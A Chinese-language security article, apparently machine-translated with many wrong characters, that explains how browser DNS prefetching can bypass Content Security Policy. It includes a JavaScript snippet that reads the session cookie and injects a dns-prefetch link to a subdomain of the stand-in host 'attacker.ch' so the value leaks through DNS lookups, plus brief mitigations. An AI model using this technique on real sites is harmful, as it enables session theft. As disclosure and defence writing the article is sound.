使用DNS预读取技能绕过CSP

介绍 内容安全战略(CSP)是现在最首要的Web安全维护机制之一,这个功用能够有用地协助办理员下降网站遭受跨站脚本进犯(XSS)和代码注入进犯的可能性。内容安全战略能够让扩展程序在默许情况下...

介绍
内容安全战略(CSP)是现在最首要的Web安全维护机制之一,这个功用能够有用地协助办理员下降网站遭受跨站脚本进犯(XSS)和代码注入进犯的可能性。内容安全战略能够让扩展程序在默许情况下变得愈加安全,开发者能够创立并强制布置一些安全办理规矩,并规则网站能够获取或加载的内容。
内容安全战略以白名单的机制来办理网站加载或履行的资源。在网页中,这样的战略是经过 HTTP 头信息或许 meta 米历来界说的。内容安全战略尽管供给了强壮的安全维护,可是它也造成了如下的一些问题:Eval及相关函数被禁用、内嵌的JavaScript代码无法得到履行、以及只能经过白名单来加载长途脚本。这些问题阻止了内容安全战略的遍及,假如想要运用内容办理战略来维护自己的网站,开发者就不得不花费许多时刻去别离内嵌的JavaScript代码并对网站作出调整。
需求留意的是,尽管这个功用能够避免进犯者从外部网站来跨域加载歹意代码,可是内容安全战略并不是一种用来避免数据发作走漏的技能。现在有许多安全研讨专家现已提出了各式各样的技能来绕过内容安全战略,并从方针网站中提取出所需数据。在这篇文章中,咱们将首要评论怎么运用DNS预读取机制来绕过内容安全战略并提取数据。假如你还想了解更多关于内容安全战略的信息,请参阅咱们之前所宣布的文章[文章链接]或拜访CSP官方网站[传送门]。
浏览器的DNS预读取机制
浏览器是咱们通向互联网国际的大门,而为了让用户获取最佳的上网体会,咱们就要尽可能地确保用户的上网速度。因而,网络中每一秒所发作的工作都至关重要。为了完成这个方针,现在较为有用的办法便是浏览器所选用的DNS预读取技能。这项技能的要害之处在于,体系会预先将主机的域名解析为对应的IP地址,然后再将这部分数据缓存已备之后运用。浏览器能够从接收到的页面内容中获取到预解析的主机称号,这样就能够协助用户节约许多的时刻了。

为了办理浏览器的DNS主动预读取功用,咱们将需求运用HTTP Header中的“X-DNS-Prefetch-Control”特点[参考资料1][参考资料2]:
1
x-dns-prefetch-control: off
这个Header特点有两个值:即“on”或许“off”。默许情况下,假如咱们没有专门设置这个特点值的话,运用HTTP协议的页面将会默许启用DNS主动预读取功用,而运用HTTPS进行传输的网页则无法运用该功用。除此之外,开发人员也能够经过在浏览器中运用标签来指定需求进行预解析操作的主机名。比如说,下面这个标签将会让浏览器对域名compass-security.com履行DNS预读取:
1
link rel=”dns-prefetch” href=”compass-security.com”>
缝隙运用
毫无疑问,这项技能的确能够大大下降浏览器加载某些网页所需的时刻。可是与此同时,这个功用也将答应进犯者绕过内容安全战略并从浏览器中提取出相似会话cookie以及用户凭据这样的重要数据。接下来,我将会给咱们介绍这种进犯技能的完成机制。
请你想象下面这种场景:
进犯者在某个Web运用中发现了一个XSS缝隙,他能够运用这个缝隙来向方针Web运用注入某些歹意的JavaScript代码。可是在内容安全战略的维护下,进犯者无法向他所操控的外部服务器发送任何的数据,所以他也就无法获取到用户的隐私数据了。这个Web运用所设置的内容安全战略十分严厉,详细如下所示:
1
Content-Security-Policy: default-src 'none'; script-src 'self'
从上面这段指令中咱们能够看到,这个Web运用所设置的内容安全战略只答应网站加载来自内部的脚本资源。
可是在DNS主动预读取机制的协助下,进犯者就能够将他所需求获取的数据包含在有用的DNS域名内,并经过这样的办法来绕过内容安全战略的约束。比如说,会话cookie的值为“abcd1234”,这个值将会与域名进行组合,即转换成“abcd1234.attacker.ch”这种方式,而这个值能够经过下面这个标签来刺进至页面的DOM方针中:
1
link rel="dns-prefetch" href="//abcd1234.attacker.ch">
接下来,进犯者就能够运用下面这段JavaScript代码来将上面这个标签注入至方针页面:
1
2
3
4
5
6
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
// injecting the link tag in the HTML body force the browser
// to prefetch the given domain
body.innerHTML = body.innerHTML + "
  href="//" + sessionid + "attacker.ch">";
履行完上面这段JavaScript代码之后,浏览器便会开端进行DNS预读取操作,此刻域名“abcd1234.attacker.ch”将会被解析。接下来,进犯者只需求在他的DNS服务器中记录下这些DNS恳求,然后再从中读取出走漏信息就能够了。获取到的信息如下图所示:

总结与缓解办法
这种进犯办法也露出出了现在内容安全战略的缺陷和局限性,由于它并没有考虑到DNS预读取机制中潜在的数据走漏问题。在与CSP的制定者进行了交流之后咱们了解到,数据走漏问题历来都不是这个项意图首要考虑要素,规划这个功用的意图首要是为了避免跨站脚本进犯(XSS)。
现在,关于这种以DNS预读取机制为载体的进犯办法,咱们还没有相应的应对战略。需求留意的是,火狐浏览器是现在仅有一款答应经过“X-DNS-Prefetch-Control ”header特点来禁用DNS预读取功用的浏览器。
尽管内容办理战略还存在许多的问题,可是咱们依然主张并鼓舞咱们运用内容办理战略。出于安全方面的考虑,咱们也主张咱们必定要对用户的输入进行严厉的验证,而且对网站的输出数据进行加密或许编码。从某种程度上来说,这些做法能够将许多安全问题消除在萌发状况。
 

  • 发表于 2021-04-15 17:36
  • 阅读 ( 245 )
  • 分类:互联网

0 条评论

请先 登录 后评论
10530
10530

678 篇文章

你可能感兴趣的文章

相关问题